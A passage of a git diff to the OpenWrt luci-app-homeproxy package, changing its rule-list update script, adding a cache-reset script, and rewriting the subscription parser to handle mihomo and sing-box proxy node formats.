"@.tag_name") + if [ -z "$NEW_VER" ]; then + log "[$(to_upper "$LIST_FILE")] Failed to get the latest version, please retry later." + return 1 fi - local local_list_ver="$(cat "$RESOURCES_DIR/$listtype.ver" 2>"/dev/null" || echo "NOT FOUND")" - if [ "$local_list_ver" = "$list_ver" ]; then - log "[$(to_upper "$listtype")] Current version: $list_ver." - log "[$(to_upper "$listtype")] You're already at the latest version." + local OLD_VER=$(cat "$RESOURCES_DIR/$LIST_FILE.ver" 2>/dev/null || echo "NOT FOUND") + if [ "$OLD_VER" = "$NEW_VER" ]; then + log "[$(to_upper "$LIST_FILE")] Current version: $NEW_VER." + log "[$(to_upper "$LIST_FILE")] You're already at the latest version." + return 3 else - log "[$(to_upper "$listtype")] Local version: $local_list_ver, latest version: $list_ver." + log "[$(to_upper "$LIST_FILE")] Local version: $OLD_VER, latest version: $NEW_VER." fi - if ! $wget "https://fastly.jsdelivr.net/gh/$listrepo@$list_sha/$listname" -O "$RUN_DIR/$listname" || [ ! -s "$RUN_DIR/$listname" ]; then - rm -f "$RUN_DIR/$listname" - log "[$(to_upper "$listtype")] Update failed." + if ! curl -sL -o "$RUN_DIR/$REPO_FILE" "https://cdn.jsdelivr.net/gh/$REPO_NAME@$REPO_BRANCH/$REPO_FILE" || [ ! -s "$RUN_DIR/$REPO_FILE" ]; then + rm -f "$RUN_DIR/$REPO_FILE" + log "[$(to_upper "$LIST_FILE")] Update failed." + return 1 fi - mv -f "$RUN_DIR/$listname" "$RESOURCES_DIR/$listtype.${listname##*.}" - echo -e "$list_ver" > "$RESOURCES_DIR/$listtype.ver" - log "[$(to_upper "$listtype")] Successfully updated." + mv -f "$RUN_DIR/$REPO_FILE" "$RESOURCES_DIR/$LIST_FILE.${REPO_FILE##*.}" + echo -e "$NEW_VER" > "$RESOURCES_DIR/$LIST_FILE.ver" + log "[$(to_upper "$LIST_FILE")] Successfully updated." return 0 } case "$1" in "china_ip4") - check_list_update "$1" "1715173329/IPCIDR-CHINA" "master" "ipv4.txt" + check_list_update "$1" "Loyalsoldier/surge-rules" "release" "cncidr.txt" && \ + sed -i "/IP-CIDR6,/d; s/IP-CIDR,//g" "$RESOURCES_DIR/china_ip4.txt" ;; "china_ip6") - check_list_update "$1" "1715173329/IPCIDR-CHINA" "master" "ipv6.txt" + check_list_update "$1" "Loyalsoldier/surge-rules" "release" "cncidr.txt" && \ + sed -i "/IP-CIDR,/d; s/IP-CIDR6,//g" "$RESOURCES_DIR/china_ip6.txt" ;; "gfw_list") - check_list_update "$1" "Loyalsoldier/v2ray-rules-dat" "release" "gfw.txt" + check_list_update "$1" "Loyalsoldier/surge-rules" "release" "gfw.txt" && \ + sed -i "s/^\.//g" "$RESOURCES_DIR/gfw_list.txt" ;; "china_list") - check_list_update "$1" "Loyalsoldier/v2ray-rules-dat" "release" "direct-list.txt" && \ - sed -i -e "s/full://g" -e "/:/d" "$RESOURCES_DIR/china_list.txt" + check_list_update "$1" "Loyalsoldier/surge-rules" "release" "direct.txt" && \ + sed -i "s/^\.//g" "$RESOURCES_DIR/china_list.txt" ;; *) echo -e "Usage: $0 " diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/update_rulesets.sh b/luci-app-homeproxy/root/etc/homeproxy/scripts/update_rulesets.sh new file mode 100644 index 000000000..efba96f51 --- /dev/null +++ b/luci-app-homeproxy/root/etc/homeproxy/scripts/update_rulesets.sh @@ -0,0 +1,10 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-only +# +# Copyright (C) 2025 ImmortalWrt.org + +CACHE_PATH="$(uci -q get homeproxy.cache.path)" +[ -n "$CACHE_PATH" ] || CACHE_PATH="/etc/homeproxy/cache.db" + +rm -f "$CACHE_PATH" +/etc/init.d/homeproxy restart diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/update_subscriptions.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/update_subscriptions.uc index f82aad855..e824c1e03 100755 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/update_subscriptions.uc +++ b/luci-app-homeproxy/root/etc/homeproxy/scripts/update_subscriptions.uc @@ -8,16 +8,15 @@ 'use strict'; import { md5 } from 'digest'; -import { open, writefile } from 'fs'; +import { open, readfile } from 'fs'; import { connect } from 'ubus'; import { cursor } from 'uci'; import { urldecode, urlencode } from 'luci.http'; -import { remove_subscription_nodes } from '/etc/homeproxy/scripts/node_references.uc'; -import { parse_surge_subscription } from '/etc/homeproxy/scripts/subscription_parsers.uc'; +import { init_action } from 'luci.sys'; import { - wGETResult, decodeBase64Str, getTime, isEmpty, parseURL, + wGETResponse, wGETHeaders, decodeBase64Str, getTime, isEmpty, parseURL, validation, HP_DIR, RUN_DIR } from 'homeproxy'; @@ -32,13 +31,18 @@ const ucimain = 'config', ucisubscription = 'subscription'; const allow_insecure = uci.get(uciconfig, ucisubscription, 'allow_insecure') || '0', - allow_unsupported_tls_pin_fallback = uci.get(uciconfig, ucisubscription, 'allow_unsupported_tls_pin_fallback') || '0', filter_mode = uci.get(uciconfig, ucisubscription, 'filter_nodes') || 'disabled', filter_keywords = uci.get(uciconfig, ucisubscription, 'filter_keywords') || [], packet_encoding = uci.get(uciconfig, ucisubscription, 'packet_encoding') || 'xudp', - subscription_urls = uci.get(uciconfig, ucisubscription, 'subscription_url') || [], - user_agent = uci.get(uciconfig, ucisubscription, 'user_agent'), - via_proxy = uci.get(uciconfig, ucisubscription, 'update_via_proxy') || '0'; + all_subscription_urls = uci.get(uciconfig, ucisubscription, 'subscription_url') || [], + user_agent = uci.get(uciconfig, ucisubscription, 'user_agent'), + via_proxy = uci.get(uciconfig, ucisubscription, 'update_via_proxy') || '0'; + +const provider_update_id = trim(readfile(RUN_DIR + '/provider-update-id') || ''); +let subscription_urls = all_subscription_urls; +if (provider_update_id) + subscription_urls = filter(all_subscription_urls, (url) => + md5(replace(url, /#.*$/, '')) === provider_update_id); const routing_mode = uci.get(uciconfig, ucimain, 'routing_mode') || 'bypass_mainalnd_china'; let main_node, main_udp_node; @@ -74,10 +78,6 @@ const ubus = connect(); const sing_features = ubus.call('luci.homeproxy', 'singbox_get_features', {}) || {}; /* Common var end */ -const SUBSCRIPTION_DIAGNOSTICS_PATH = RUN_DIR + '/subscription-diagnostics.json'; -const SUBSCRIPTION_UPDATE_STATUS_PATH = RUN_DIR + '/subscription-update-status.json'; -let subscription_diagnostics = []; - /* Log */ system(`mkdir -p ${RUN_DIR}`); function log(...args) { @@ -86,143 +86,751 @@ function log(...args) { logfile.close(); } -function reportSubscriptionDiagnostic(type, message, suggestion) { - push(subscription_diagnostics, { - type, - source: 'subscription', - message, - suggestion - }); +function has_value(value) { + return value !== null && value !== '' && value !== 'nil'; } -function writeSubscriptionDiagnostics() { - system(`mkdir -p ${RUN_DIR}`); +function to_string(value) { + return has_value(value) ? sprintf('%s', value) : null; +} - if (length(subscription_diagnostics)) { - writefile(SUBSCRIPTION_DIAGNOSTICS_PATH, sprintf('%.J\n', { - time: time(), - items: subscription_diagnostics - })); - } else { - system(`rm -f ${SUBSCRIPTION_DIAGNOSTICS_PATH}`); +function bool_to_uci(value) { + if (value === true) + return '1'; + if (value === false) + return '0'; + return null; +} + +function normalize_list(value) { + if (!has_value(value)) + return null; + if (type(value) === 'array') + return value; + return [to_string(value)]; +} + +function normalize_alpn(value) { + if (!has_value(value)) + return null; + if (type(value) === 'array') + return value; + if (type(value) === 'string') { + let items = map(split(value, ','), (v) => trim(v)); + items = filter(items, (v) => length(v)); + return length(items) ? items : null; } + return [to_string(value)]; } -function writeSubscriptionUpdateStatus(running, completed, update_result, error) { - system(`mkdir -p ${RUN_DIR}`); - writefile(SUBSCRIPTION_UPDATE_STATUS_PATH, sprintf('%.J\n', { - time: time(), - running: !!running, - completed: !!completed, - update_result, - error: error || null - })); +function normalize_host_list(value) { + if (!has_value(value)) + return null; + if (type(value) === 'array') + return value; + return split(to_string(value), ','); } -function sanitizeCommandError(text) { - text = trim(text || ''); - if (isEmpty(text)) +function normalize_first(value) { + if (!has_value(value)) + return null; + if (type(value) === 'array') + return length(value) ? value[0] : null; + return to_string(value); +} + +function normalize_hysteria_hopping_port(mport) { + if (!has_value(mport)) return null; - text = split(text, '\n')[0] || text; - return text; -} - -function uci_value_equal(a, b) { - if (type(a) == 'array') - a = map(a, (v) => sprintf('%s', v)); - else - a = sprintf('%s', a); - - if (type(b) == 'array') - b = map(b, (v) => sprintf('%s', v)); - else - b = sprintf('%s', b); - - return sprintf('%J', a) == sprintf('%J', b); -} - -function setOrDeleteList(section, option, values) { - if (length(values)) - uci.set(uciconfig, section, option, values); - else - uci.delete(uciconfig, section, option); -} - -function logCleanupChange(change) { - if (!change || !change.node_id) - return; - - let target = sprintf('%s.%s', change.section || '-', change.option || '-'), - action = change.action || 'update', - value = (action === 'set') ? sprintf(' to %s', change.value) : ''; - - log(sprintf('Cleaned reference to deleted subscription node %s: %s %s%s.', - change.node_id, target, action, value)); -} - -function version_at_least(version, major, minor, patch) { - const m = match(version || '', /^([0-9]+)\.([0-9]+)\.([0-9]+)/); - if (!m) - return false; - - const current = [ int(m[1]), int(m[2]), int(m[3]) ], - required = [ major, minor, patch ]; - - for (let i = 0; i < 3; i++) { - if (current[i] > required[i]) - return true; - if (current[i] < required[i]) - return false; + let ports = []; + for (let p in split(to_string(mport), ',')) { + p = trim(p); + if (!p) + continue; + if (match(p, /^\d+$/)) + p = p + ':' + p; + else + p = replace(p, '-', ':'); + push(ports, p); } - return true; + return length(ports) ? ports : null; } -function tls_cert_pin_unsupported() { - return !version_at_least(sing_features.version, 1, 13, 0); +function normalize_mihomo_ports(ports) { + if (!has_value(ports)) + return null; + + if (type(ports) === 'array') + return map(ports, (p) => { + const v = to_string(p); + if (match(v, /^\d+$/)) + return v + ':' + v; + return replace(v, '-', ':'); + }); + + return normalize_hysteria_hopping_port(to_string(ports)); } -function apply_tls_cert_pin_policy(config, label, pin) { - if (!pin || !tls_cert_pin_unsupported()) +function parse_mihomo_speed(value) { + if (!has_value(value)) + return null; + + const str = to_string(value); + const match_val = match(str, /[0-9]+(\.[0-9]+)?/); + if (!match_val) + return null; + + const num_str = type(match_val) === 'array' ? match_val[0] : match_val; + if (!num_str) + return null; + + const num = int(num_str); + if (num === null || num != num) + return null; + + return to_string(num); +} + +function get_header_host(headers) { + if (type(headers) !== 'object') + return null; + + return headers.Host || headers.host || headers['HOST']; +} + +function apply_transport_opts(config, proxy) { + const network = proxy.network; + if (!has_value(network) || network === 'tcp') return; - const node_label = label || config.label || 'NULL', - version = sing_features.version || 'unknown'; + let ws_opts = proxy['ws-opts'] || {}; + let grpc_opts = proxy['grpc-opts'] || {}; + let http_opts = proxy['http-opts'] || proxy['h2-opts'] || {}; + let httpupgrade_opts = proxy['http-upgrade-opts'] || {}; - if (config.tls_insecure === '1') - return; + switch (network) { + case 'ws': + config.transport = 'ws'; + config.ws_path = ws_opts.path ? to_string(ws_opts.path) : null; + config.ws_host = get_header_host(ws_opts.headers); + config.websocket_early_data = ws_opts['early-data'] ? to_string(ws_opts['early-data']) : null; + config.websocket_early_data_header = ws_opts['early-data-header-name'] ? + to_string(ws_opts['early-data-header-name']) : null; + break; + case 'grpc': + config.transport = 'grpc'; + config.grpc_servicename = to_string(grpc_opts['grpc-service-name'] || grpc_opts['service-name']); + break; + case 'http': + case 'h2': + config.transport = 'http'; + config.http_path = normalize_first(http_opts.path); + config.http_host = normalize_host_list(get_header_host(http_opts.headers) || http_opts.host); + break; + case 'httpupgrade': + config.transport = 'httpupgrade'; + config.httpupgrade_host = get_header_host(httpupgrade_opts.headers) || httpupgrade_opts.host; + config.http_path = normalize_first(httpupgrade_opts.path); + break; + } +} - if (allow_unsupported_tls_pin_fallback === '1' || config.type === 'hysteria2') { - config.tls_insecure = '1'; - log(sprintf('Node %s uses server certificate fingerprint, but sing-box %s cannot express it; enabling explicit TLS insecure compatibility fallback.', - node_label, - version)); - reportSubscriptionDiagnostic('warning', - sprintf('订阅节点 %s 使用证书指纹,但当前 sing-box %s 不支持 certificate_public_key_sha256;已降级为 TLS insecure 继续兼容。', node_label, version), - (config.type === 'hysteria2') - ? '这是延续旧行为的兼容回退;如需更严格校验,请升级到支持 certificate_public_key_sha256 的 sing-box' - : '若安全要求较高,请关闭“Allow unsupported certificate pin fallback”,让此类节点默认跳过'); - return; +function parse_mihomo_proxy(proxy) { + if (type(proxy) !== 'object') + return null; + + let config; + const tls_sni = proxy.servername || proxy.sni; + const tls_fingerprint = proxy['client-fingerprint'] || proxy.fingerprint; + const tls_insecure = (proxy['skip-cert-verify'] === true || proxy.insecure === '1' || proxy.allowInsecure === true || proxy.allowInsecure === '1') ? '1' + : (proxy['skip-cert-verify'] === false || proxy.insecure === '0' || proxy.allowInsecure === false || proxy.allowInsecure === '0') ? '0' + : null; + + switch (proxy.type) { + case 'anytls': { + let anytls_fp = (proxy['client-fingerprint'] !== null && proxy['client-fingerprint'] !== undefined) ? + proxy['client-fingerprint'] : proxy.fingerprint; + anytls_fp = to_string(anytls_fp); + if (anytls_fp === 'none' || anytls_fp === 'disable' || anytls_fp === 'disabled') + anytls_fp = null; + else if (!has_value(anytls_fp)) + anytls_fp = 'chrome'; + config = { + label: proxy.name, + type: 'anytls', + address: proxy.server, + port: to_string(proxy.port), + password: proxy.password, + tls: '1', + tls_sni: tls_sni || proxy.peer, + tls_alpn: normalize_alpn(proxy.alpn), + tls_insecure, + tls_utls: sing_features.with_utls ? anytls_fp : null, + anytls_idle_session_check_interval: to_string(proxy['idle-session-check-interval']), + anytls_idle_session_timeout: to_string(proxy['idle-session-timeout']), + anytls_min_idle_session: to_string(proxy['min-idle-session']), + tcp_fast_open: (proxy.tfo === true) ? '1' : null + }; + break; + } + case 'vmess': + config = { + label: proxy.name, + type: 'vmess', + address: proxy.server, + port: to_string(proxy.port), + uuid: proxy.uuid, + vmess_alterid: has_value(proxy.alterId) ? to_string(proxy.alterId) : null, + vmess_encrypt: proxy.cipher, + packet_encoding: proxy['packet-encoding'], + tls: (proxy.tls === true) ? '1' : '0', + tls_sni, + tls_alpn: normalize_alpn(proxy.alpn), + tls_insecure, + tls_utls: sing_features.with_utls ? tls_fingerprint : null, + tcp_fast_open: (proxy.tfo === true) ? '1' : null + }; + apply_transport_opts(config, proxy); + break; + case 'hysteria2': + if (!sing_features.with_quic) { + log(sprintf('Skipping unsupported %s node: %s.', proxy.type, proxy.name || proxy.server)); + log(sprintf('Please rebuild sing-box with %s support!', 'QUIC')); + return null; + } + config = { + label: proxy.name, + type: 'hysteria2', + address: proxy.server, + port: to_string(proxy.port), + password: proxy.password, + hysteria_hopping_port: normalize_mihomo_ports(proxy.ports), + hysteria_down_mbps: parse_mihomo_speed(proxy.down), + hysteria_up_mbps: parse_mihomo_speed(proxy.up), + hysteria_obfs_type: proxy.obfs, + hysteria_obfs_password: proxy['obfs-password'], + tls: '1', + tls_sni, + tls_alpn: normalize_alpn(proxy.alpn), + tls_insecure, + tcp_fast_open: (proxy.tfo === true) ? '1' : null + }; + break; + case 'hysteria': + if (!sing_features.with_quic) { + log(sprintf('Skipping unsupported %s node: %s.', proxy.type, proxy.name || proxy.server)); + log(sprintf('Please rebuild sing-box with %s support!', 'QUIC')); + return null; + } + config = { + label: proxy.name, + type: 'hysteria', + address: proxy.server, + port: to_string(proxy.port), + hysteria_hopping_port: normalize_mihomo_ports(proxy.ports), + hysteria_protocol: proxy.protocol, + hysteria_auth_type: proxy['auth-str'] ? 'string' : (proxy.auth ? 'base64' : null), + hysteria_auth_payload: proxy['auth-str'] || proxy.auth, + hysteria_obfs_password: proxy.obfs, + hysteria_down_mbps: parse_mihomo_speed(proxy.down), + hysteria_up_mbps: parse_mihomo_speed(proxy.up), + tls: '1', + tls_sni, + tls_alpn: normalize_alpn(proxy.alpn), + tls_insecure, + tcp_fast_open: (proxy.tfo === true) ? '1' : null + }; + break; + case 'vless': + config = { + label: proxy.name, + type: 'vless', + address: proxy.server, + port: to_string(proxy.port), + uuid: proxy.uuid, + vless_flow: proxy.flow, + packet_encoding: proxy['packet-encoding'], + tls: (proxy.tls === true || proxy['reality-opts']) ? '1' : '0', + tls_sni, + tls_alpn: normalize_alpn(proxy.alpn), + tls_insecure, + tls_utls: sing_features.with_utls ? tls_fingerprint : null, + tls_reality: proxy['reality-opts'] ? '1' : '0', + tls_reality_public_key: proxy['reality-opts'] ? proxy['reality-opts']['public-key'] : null, + tls_reality_short_id: proxy['reality-opts'] ? proxy['reality-opts']['short-id'] : null, + tcp_fast_open: (proxy.tfo === true) ? '1' : null + }; + apply_transport_opts(config, proxy); + break; + case 'trojan': + config = { + label: proxy.name, + type: 'trojan', + address: proxy.server, + port: to_string(proxy.port), + password: proxy.password, + tls: (proxy.tls === false) ? '0' : '1', + tls_sni, + tls_alpn: normalize_alpn(proxy.alpn), + tls_insecure, + tls_utls: sing_features.with_utls ? tls_fingerprint : null, + tcp_fast_open: (proxy.tfo === true) ? '1' : null + }; + apply_transport_opts(config, proxy); + break; + case 'ss': { + let ss_plugin = proxy.plugin; + if (ss_plugin === 'simple-obfs') + ss_plugin = 'obfs-local'; + config = { + label: proxy.name, + type: 'shadowsocks', + address: proxy.server, + port: to_string(proxy.port), + shadowsocks_encrypt_method: proxy.cipher, + password: proxy.password, + shadowsocks_plugin: ss_plugin, + shadowsocks_plugin_opts: proxy['plugin-opts'], + udp_over_tcp: bool_to_uci(proxy['udp-over-tcp']), + udp_over_tcp_version: to_string(proxy['udp-over-tcp-version']), + tcp_fast_open: (proxy.tfo === true) ? '1' : null + }; + break; + } + case 'ssr': + log(sprintf('Skipping unsupported ssr node: %s.', proxy.name || proxy.server)); + return null; + case 'socks5': + case 'socks': + case 'socks4': + case 'socks4a': + config = { + label: proxy.name, + type: 'socks', + address: proxy.server, + port: to_string(proxy.port), + username: proxy.username, + password: proxy.password, + socks_version: (proxy.type === 'socks4a') ? '4a' : ((proxy.type === 'socks4') ? '4' : '5'), + tls: (proxy.tls === true) ? '1' : '0', + tls_sni, + tls_insecure, + tls_utls: sing_features.with_utls ? tls_fingerprint : null, + tcp_fast_open: (proxy.tfo === true) ? '1' : null + }; + break; + case 'http': + config = { + label: proxy.name, + type: 'http', + address: proxy.server, + port: to_string(proxy.port), + username: proxy.username, + password: proxy.password, + tls: (proxy.tls === true) ? '1' : '0', + tls_sni, + tls_insecure, + tls_utls: sing_features.with_utls ? tls_fingerprint : null, + tcp_fast_open: (proxy.tfo === true) ? '1' : null + }; + break; + case 'tuic': { + if (!sing_features.with_quic) { + log(sprintf('Skipping unsupported %s node: %s.', proxy.type, proxy.name || proxy.server)); + log(sprintf('Please rebuild sing-box with %s support!', 'QUIC')); + return null; + } + let tuic_heartbeat = proxy['heartbeat-interval']; + if (has_value(tuic_heartbeat)) { + tuic_heartbeat = int(tuic_heartbeat); + if (tuic_heartbeat >= 1000) + tuic_heartbeat = int(tuic_heartbeat / 1000); + } + config = { + label: proxy.name, + type: 'tuic', + address: proxy.server, + port: to_string(proxy.port), + uuid: proxy.uuid, + password: proxy.password || proxy.token, + tuic_congestion_control: proxy['congestion-controller'], + tuic_udp_relay_mode: proxy['udp-relay-mode'], + tuic_udp_over_stream: bool_to_uci(proxy['udp-over-stream']), + tuic_enable_zero_rtt: bool_to_uci(proxy['zero-rtt-handshake']), + tuic_heartbeat: has_value(tuic_heartbeat) ? to_string(tuic_heartbeat) : null, + tls: '1', + tls_sni: proxy['disable-sni'] ? null : tls_sni, + tls_alpn: normalize_alpn(proxy.alpn), + tls_insecure, + tcp_fast_open: (proxy.tfo === true) ? '1' : null + }; + break; + } + case 'ssh': + config = { + label: proxy.name, + type: 'ssh', + address: proxy.server, + port: to_string(proxy.port), + username: proxy.username, + password: proxy.password, + ssh_client_version: proxy['client-version'], + ssh_host_key: normalize_list(proxy['host-key']), + ssh_host_key_algo: normalize_list(proxy['host-key-algorithms']), + ssh_priv_key: normalize_list(proxy['private-key']), + ssh_priv_key_pp: proxy['private-key-passphrase'], + tcp_fast_open: (proxy.tfo === true) ? '1' : null + }; + break; + case 'wireguard': { + let wg_addresses = []; + if (has_value(proxy.ip)) + push(wg_addresses, to_string(proxy.ip)); + if (has_value(proxy.ipv6)) + push(wg_addresses, to_string(proxy.ipv6)); + config = { + label: proxy.name, + type: 'wireguard', + address: proxy.server, + port: to_string(proxy.port), + wireguard_local_address: length(wg_addresses) ? wg_addresses : null, + wireguard_private_key: proxy['private-key'], + wireguard_peer_public_key: proxy['public-key'], + wireguard_pre_shared_key: proxy['pre-shared-key'], + wireguard_reserved: normalize_list(proxy.reserved), + wireguard_mtu: to_string(proxy.mtu), + wireguard_persistent_keepalive_interval: to_string(proxy['persistent-keepalive'] || proxy['persistent-keepalive-interval'] || proxy.keepalive) + }; + break; + } + default: + return null; } - config.__skip_reason = sprintf('该节点使用证书指纹,但当前 sing-box %s 不支持 certificate_public_key_sha256,已跳过。', version); - reportSubscriptionDiagnostic('warning', - sprintf('订阅节点 %s 使用证书指纹,但当前 sing-box %s 不支持 certificate_public_key_sha256,已跳过。', node_label, version), - '升级到支持 certificate_public_key_sha256 的 sing-box,或显式开启兼容 fallback 后重新更新订阅'); - log(sprintf('Skipping node %s: server certificate fingerprint is unsupported by sing-box %s.', - node_label, - version)); + return config; } -function service_action(action) { - return system([ '/etc/init.d/homeproxy', action ]); +function parse_subscription_userinfo(headers) { + let header_value = null; + for (let line in split(headers || '', '\n')) { + const matched = match(line, /^\s*subscription-userinfo:\s*(.*)$/i); + if (matched) + header_value = trim(matched[1]); + } + + if (isEmpty(header_value)) + return null; + + let info = {}; + for (let item in split(header_value, ';')) { + const matched = match(trim(item), /^([a-z]+)\s*=\s*([0-9]+)$/i); + if (!matched) + continue; + + const value = int(matched[2]); + if (value < 0) + continue; + + if (match(matched[1], /^upload$/i)) + info.upload = value; + else if (match(matched[1], /^download$/i)) + info.download = value; + else if (match(matched[1], /^total$/i)) + info.total = value; + else if (match(matched[1], /^expire$/i)) + info.expire = value; + } + + return length(info) ? info : null; +} + +function subscription_info_option(url) { + url = replace(url || '', /#.*$/, ''); + return 'subinfo_' + substr(md5(url), 0, 16); +} + +function subscription_display_name(url) { + const names = normalize_list(uci.get(uciconfig, ucisubscription, 'subscription_name')) || []; + let index = 0; + for (let configured_url in all_subscription_urls) { + if (replace(configured_url, /#.*$/, '') === replace(url, /#.*$/, '')) { + const name = trim(names[index] || ''); + return name || substr(md5(replace(url, /#.*$/, '')), 0, 8); + } + index++; + } + return substr(md5(replace(url, /#.*$/, '')), 0, 8); +} + +function previous_subscription_info(info_option) { + const value = uci.get(uciconfig, ucisubscription, info_option); + if (isEmpty(value)) + return null; + + try { + const info = json(value); + if (type(info) === 'object' && (('upload' in info) || ('download' in info) || + ('total' in info) || ('expire' in info))) + return info; + } catch (e) {} + + return null; +} + +function merge_subscription_info(current, previous) { + if (!current) + return previous || null; + if (!previous) + return current; + + for (let field in ['upload', 'download', 'total', 'expire']) + if (!(field in current) && (field in previous)) + current[field] = previous[field]; + + return current; +} + +function cleanup_subscription_info() { + let active_options = {}; + for (let url in all_subscription_urls) + active_options[subscription_info_option(url)] = true; + + const subscription = uci.get_all(uciconfig, ucisubscription) || {}; + for (let option in keys(subscription)) + if (match(option, /^subinfo_/) && !active_options[option]) + uci.delete(uciconfig, ucisubscription, option); +} + +function apply_sing_box_tls(config, outbound) { + const tls = outbound.tls; + if (type(tls) !== 'object') + return; + + config.tls = (tls.enabled === false) ? '0' : '1'; + config.tls_sni = tls.server_name; + config.tls_insecure = bool_to_uci(tls.insecure); + config.tls_alpn = normalize_alpn(tls.alpn); + config.tls_utls = sing_features.with_utls ? tls.utls?.fingerprint : null; + config.tls_reality = tls.reality ? '1' : '0'; + config.tls_reality_public_key = tls.reality?.public_key; + config.tls_reality_short_id = tls.reality?.short_id; +} + +function apply_sing_box_transport(config, outbound) { + const transport = outbound.transport; + if (type(transport) !== 'object') + return; + + config.transport = transport.type; + switch (transport.type) { + case 'ws': + config.ws_path = transport.path; + config.ws_host = get_header_host(transport.headers); + config.websocket_early_data = to_string(transport.max_early_data); + config.websocket_early_data_header = transport.early_data_header_name; + break; + case 'grpc': + config.grpc_servicename = transport.service_name; + break; + case 'http': + config.http_path = normalize_first(transport.path); + config.http_host = normalize_host_list(get_header_host(transport.headers) || transport.host); + config.http_method = transport.method; + break; + case 'httpupgrade': + config.httpupgrade_host = get_header_host(transport.headers) || transport.host; + config.http_path = normalize_first(transport.path); + break; + } +} + +function parse_sing_box_outbound(outbound) { + if (type(outbound) !== 'object') + return null; + + let config; + const port = to_string(outbound.server_port || outbound.port); + + switch (outbound.type) { + case 'anytls': + config = { + label: outbound.tag, + type: 'anytls', + address: outbound.server, + port, + password: outbound.password, + tls: '1' + }; + break; + case 'vmess': + config = { + label: outbound.tag, + type: 'vmess', + address: outbound.server, + port, + uuid: outbound.uuid, + vmess_alterid: to_string(outbound.alter_id), + vmess_encrypt: outbound.security, + packet_encoding: outbound.packet_encoding + }; + break; + case 'vless': + config = { + label: outbound.tag, + type: 'vless', + address: outbound.server, + port, + uuid: outbound.uuid, + vless_flow: outbound.flow, + packet_encoding: outbound.packet_encoding + }; + break; + case 'trojan': + config = { + label: outbound.tag, + type: 'trojan', + address: outbound.server, + port, + password: outbound.password, + tls: '1' + }; + break; + case 'shadowsocks': + config = { + label: outbound.tag, + type: 'shadowsocks', + address: outbound.server, + port, + shadowsocks_encrypt_method: outbound.method, + password: outbound.password, + shadowsocks_plugin: outbound.plugin, + shadowsocks_plugin_opts: outbound.plugin_opts + }; + break; + case 'hysteria': + config = { + label: outbound.tag, + type: 'hysteria', + address: outbound.server, + port, + hysteria_hopping_port: outbound.server_ports, + hysteria_auth_type: outbound.auth_str ? 'string' : (outbound.auth ? 'base64' : null), + hysteria_auth_payload: outbound.auth_str || outbound.auth, + hysteria_obfs_password: outbound.obfs, + hysteria_down_mbps: to_string(outbound.down_mbps), + hysteria_up_mbps: to_string(outbound.up_mbps), + tls: '1' + }; + break; + case 'hysteria2': + config = { + label: outbound.tag, + type: 'hysteria2', + address: outbound.server, + port, + password: outbound.password, + hysteria_hopping_port: outbound.server_ports, + hysteria_down_mbps: to_string(outbound.down_mbps), + hysteria_up_mbps: to_string(outbound.up_mbps), + hysteria_obfs_type: outbound.obfs?.type, + hysteria_obfs_password: outbound.obfs?.password, + tls: '1' + }; + break; + case 'tuic': + config = { + label: outbound.tag, + type: 'tuic', + address: outbound.server, + port, + uuid: outbound.uuid, + password: outbound.password, + tuic_congestion_control: outbound.congestion_control, + tuic_udp_relay_mode: outbound.udp_relay_mode, + tuic_udp_over_stream: bool_to_uci(outbound.udp_over_stream), + tuic_enable_zero_rtt: bool_to_uci(outbound.zero_rtt_handshake), + tuic_heartbeat: to_string(outbound.heartbeat), + tls: '1' + }; + break; + case 'socks': + config = { + label: outbound.tag, + type: 'socks', + address: outbound.server, + port, + username: outbound.username, + password: outbound.password, + socks_version: outbound.version || '5' + }; + break; + case 'http': + config = { + label: outbound.tag, + type: 'http', + address: outbound.server, + port, + username: outbound.username, + password: outbound.password + }; + break; + case 'ssh': + config = { + label: outbound.tag, + type: 'ssh', + address: outbound.server, + port, + username: outbound.user || outbound.username, + password: outbound.password, + ssh_client_version: outbound.client_version, + ssh_host_key: normalize_list(outbound.host_key), + ssh_host_key_algo: normalize_list(outbound.host_key_algorithms), + ssh_priv_key: normalize_list(outbound.private_key), + ssh_priv_key_pp: outbound.private_key_passphrase + }; + break; + case 'wireguard': + config = { + label: outbound.tag, + type: 'wireguard', + address: outbound.server, + port, + wireguard_local_address: normalize_list(outbound.local_address || outbound.address), + wireguard_private_key: outbound.private_key, + wireguard_peer_public_key: outbound.peer_public_key, + wireguard_pre_shared_key: outbound.pre_shared_key, + wireguard_reserved: normalize_list(outbound.reserved), + wireguard_mtu: to_string(outbound.mtu), + wireguard_persistent_keepalive_interval: to_string(outbound.persistent_keepalive_interval) + }; + break; + default: + return null; + } + + if (!isEmpty(config)) { + apply_sing_box_tls(config, outbound); + apply_sing_box_transport(config, outbound); + config.tcp_fast_open = bool_to_uci(outbound.tcp_fast_open); + config.tcp_multi_path = bool_to_uci(outbound.tcp_multi_path); + config.udp_fragment = bool_to_uci(outbound.udp_fragment); + } + + return config; } function parse_uri(uri) { let config, url, params; if (type(uri) === 'object') { + if (uri.nodetype === 'mihomo') { + return parse_mihomo_proxy(uri); + } + if (uri.nodetype === 'sing-box') { + return parse_sing_box_outbound(uri); + } if (uri.nodetype === 'sip008') { /* https://shadowsocks.org/guide/sip008.html */ config = { @@ -240,23 +848,29 @@ function parse_uri(uri) { uri = split(trim(uri), '://'); switch (uri[0]) { - case 'anytls': - /* https://github.com/anytls/anytls-go/blob/v0.0.8/docs/uri_scheme.md */ - url = parseURL('http://' + uri[1]) || {}; - params = url.searchParams || {}; + case 'anytls': + /* https://github.com/anytls/anytls-go/blob/v0.0.8/docs/uri_scheme.md */ + url = parseURL('http://' + uri[1]) || {}; + params = url.searchParams || {}; + let anytls_fp = params.fp || params.fingerprint; + if (anytls_fp === 'none' || anytls_fp === 'disable' || anytls_fp === 'disabled') + anytls_fp = null; + else if (!has_value(anytls_fp)) + anytls_fp = 'chrome'; - config = { - label: url.hash ? urldecode(url.hash) : null, - type: 'anytls', - address: url.hostname, - port: url.port, - password: urldecode(url.username), - tls: '1', - tls_sni: params.sni, - tls_insecure: (params.insecure === '1') ? '1' : '0' - }; + config = { + label: url.hash ? urldecode(url.hash) : null, + type: 'anytls', + address: url.hostname, + port: url.port, + password: urldecode(url.username), + tls: '1', + tls_insecure: (params.insecure === '1' || params.allowInsecure === '1') ? '1' : '0', + tls_sni: params.sni, + tls_utls: sing_features.with_utls 